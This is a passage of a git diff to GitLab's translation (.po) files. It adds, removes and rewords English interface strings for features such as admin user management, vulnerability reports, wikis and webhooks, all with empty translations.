msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr "s"
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/pa_IN/gitlab.po b/locale/pa_IN/gitlab.po
index 90a0262d6ef..45bd4e556c7 100644
--- a/locale/pa_IN/gitlab.po
+++ b/locale/pa_IN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: pa-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:49\n"
+"PO-Revision-Date: 2020-12-03 08:18\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
